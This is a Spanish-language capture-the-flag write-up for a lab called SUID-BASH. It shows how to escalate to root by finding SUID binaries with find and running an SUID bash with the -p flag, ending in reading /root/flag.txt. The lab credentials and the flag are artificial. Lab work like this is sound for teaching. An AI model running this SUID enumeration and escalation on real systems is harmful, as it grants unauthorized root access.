

Informe CTF - SUID-BASH

Objetivo:

Escalar privilegios explotando binarios SUID en Linux y comprender el comportamiento de bash respecto a permisos efectivos.

1. Descarga y despliegue:

Se descarga el laboratorio, se descomprime en un directorio específico y se ejecuta, obteniendo la IP 172.17.0.2. El laboratorio proporciona credenciales iniciales.

```
(kali@ kali) - [~/edutek/SUID-Bash]
$ wget https://whoami-labs.com/downloads/suid_bash.zip
--2026-02-08 14:56:49-- https://whoami-labs.com/downloads/suid_bash.zip
Resolving whoami-labs.com (whoami-labs.com)... 2a02:4780:2b:1726:0:39f6:4e35:7, 92.112.189.72
Connecting to whoami-labs.com (whoami-labs.com)[2a02:4780:2b:1726:0:39f6:4e35:7]:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 88354781 (84M) [application/zip]
Saving to: 'suid_bash.zip'

suid_bash.zip                               100%[=====] 84.26M  9.21MB/s   in 8.8s
2026-02-08 14:56:59 (9.60 MB/s) - 'suid_bash.zip' saved [88354781/88354781]

(kali@ kali) - [~/edutek/SUID-Bash]
$ ls
suid_bash.zip
(kali@ kali) - [~/edutek/SUID-Bash]
$ unzip suid_bash.zip
Archive:  suid_bash.zip
  inflating: startlab.sh
  inflating: suid_bash.tar
(kali@ kali) - [~/edutek/SUID-Bash]
$ ls
startlab.sh  suid_bash.tar  suid_bash.zip
(kali@ kali) - [~/edutek/SUID-Bash]
$
```

```
WHOAMI-LABS.COM

=====
Bienvenido a WHOAMI-LABS.COM. Laboratorio: SUID-BASH.
Aprende, simula, escala. Sin burocracia.
=====

[✓] Imagen cargada correctamente.
[*] Iniciando laboratorio...
[✓] Laboratorio iniciado correctamente.

=====
[✓] Laboratorio desplegado correctamente.
=====
IP del laboratorio: 172.17.0.2
Usuario: hacker
Contraseña: b4sh123
Comando de conexión: ssh hacker@172.17.0.2
=====

Objetivo: Explota bash con SUID para obtener root y leer /root/flag.txt
Tip: Lee LEEME.txt y ejecuta comparar.sh para entender el concepto

Presiona Ctrl+C cuando quieras detener el laboratorio.
█
```

2. Acceso inicial:

Se ingresa vía SSH con las credenciales proporcionadas.

```
SUID-BASH

=====
Bienvenido al laboratorio SUID-BASH
Objetivo: Explota bash con SUID
Usuario: hacker | Password: b4sh123
=====

hacker@ec10a53af6c6:~$
hacker@ec10a53af6c6:~$
hacker@ec10a53af6c6:~$ █
```

3. Enumeración:

Se listan los archivos en el directorio home.

Se analiza el archivo LEEME.txt donde se explica el comportamiento de bash con respecto a UID y EUID.

```
hacker@ec10a53af6c6:~$ ls -lhai
total 36K
3159195 drwxr-x--- 1 hacker hacker 4.0K Feb  8 19:59 .
3159194 drwxr-xr-x 1 root  root  4.0K Dec 13 04:55 ..
3159117 -rw-r--r-- 1 hacker hacker 220 Jan  6 2022 .bash_logout
3159118 -rw-r--r-- 1 hacker hacker 3.7K Jan  6 2022 .bashrc
3159232 drwx----- 2 hacker hacker 4.0K Feb  8 19:59 .cache
3159119 -rw-r--r-- 1 hacker hacker 807 Jan  6 2022 .profile
3159181 -rw-r--r-- 1 hacker hacker 833 Dec 13 04:55 LEEME.txt
3159196 -rwxr-xr-x 1 hacker hacker 441 Dec 13 04:55 comparar.sh
hacker@ec10a53af6c6:~$
```

```
hacker@ec10a53af6c6:~$ cat LEEME.txt
=====
LABORATORIO: SUID-BASH
=====

CONCEPTO: Bash y el bit SUID

Por seguridad, bash droppea privilegios SUID
al ejecutarse. Sin embargo, existe un flag
especial que previene este comportamiento...

PISTAS:
1. Busca binarios SUID: find / -perm -4000 2>/dev/null
2. Encuentra bash con SUID en /opt/
3. Ejecuta bash normalmente y compara 'id'
4. Investiga el manual: bash --help
5. Busca un flag que mantenga privilegios (-p)

OBJETIVO:
Obtener una shell con privilegios de root
y leer /root/flag.txt

DIFERENCIA ENTRE UID Y EUID:
- UID (User ID): ID real del usuario
- EUID (Effective UID): ID efectivo (usado para permisos)
- Con SUID, EUID = propietario del archivo (root)
- Bash droppea EUID por defecto (seguridad)
- Flag -p mantiene EUID = UID del propietario
hacker@ec10a53af6c6:~$
```



4. Análisis:

Existe un script .sh que demuestra cómo bash cambia los IDs efectivos.

Se ejecuta el comando para buscar binarios SUID y se identifica bash_suid.

```
hacker@ec10a53af6c6:~$ cat comparar.sh
#!/bin/bash
echo "=====
echo "   COMPARACIÓN: BASH CON Y SIN -p"
echo "=====
echo ""
echo "[*] Tu ID actual:"
id
echo ""
echo "[*] Ejecutando bash SUID sin -p:"
echo "   /opt/bash_suid -c \"id\""
/opt/bash_suid -c "id"
echo ""
echo "[*] Ejecutando bash SUID con -p:"
echo "   /opt/bash_suid -p -c \"id\""
/opt/bash_suid -p -c "id"
echo ""
echo "¿Notas la diferencia en euid?"
hacker@ec10a53af6c6:~$
```

```
hacker@ec10a53af6c6:~$ bash comparar.sh
=====
   COMPARACIÓN: BASH CON Y SIN -p
=====

[*] Tu ID actual:
uid=1000(hacker) gid=1000(hacker) groups=1000(hacker)

[*] Ejecutando bash SUID sin -p:
   /opt/bash_suid -c "id"
uid=1000(hacker) gid=1000(hacker) groups=1000(hacker)

[*] Ejecutando bash SUID con -p:
   /opt/bash_suid -p -c "id"
uid=1000(hacker) gid=1000(hacker) euid=0(root) groups=1000(hacker)

¿Notas la diferencia en euid?
```

```

hacker@ec10a53af6c6:~$ find / -perm -4000 2>/dev/null
/opt/bash_suid
/usr/bin/umount
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/mount
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/su
/usr/bin/gpasswd
/usr/bin/sudo
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
hacker@ec10a53af6c6:~$ ls -l /opt/bash_suid
-rwsr-xr-x 1 root root 1396520 Dec 13 04:55 /opt/bash_suid
hacker@ec10a53af6c6:~$

```

5. Explotación:

Se ejecuta bash_suid sin -p, mantiene UID normal.

Se ejecuta bash_suid con -p, mantiene EUID root.

```

hacker@ec10a53af6c6:~$ /opt/bash_suid
bash_suid-5.1$ id
uid=1000(hacker) gid=1000(hacker) groups=1000(hacker)
bash_suid-5.1$

```

```

hacker@ec10a53af6c6:~$ id
uid=1000(hacker) gid=1000(hacker) groups=1000(hacker)
hacker@ec10a53af6c6:~$

```

```

hacker@ec10a53af6c6:~$ /opt/bash_suid -p
bash_suid-5.1# id
uid=1000(hacker) gid=1000(hacker) euid=0(root) groups=1000(hacker)
bash_suid-5.1#

```

6. Resultado:

Se obtiene una shell con privilegios root.

```

hacker@ec10a53af6c6:~$ /opt/bash_suid -p
bash_suid-5.1# id
uid=1000(hacker) gid=1000(hacker) euid=0(root) groups=1000(hacker)
bash_suid-5.1#

```

Se captura la bandera.

```
bash_suid-5.1# cd /root/  
bash_suid-5.1# ls  
flag.txt  
bash_suid-5.1# cat flag.txt  
FLAG{B4SH_PR1V1L3G3D_M0D3_M4ST3R}  
bash_suid-5.1#
```

Conclusión:

Este laboratorio demuestra el uso de permisos efectivos en Linux y cómo bash intenta proteger la escalada si no se usa el flag -p.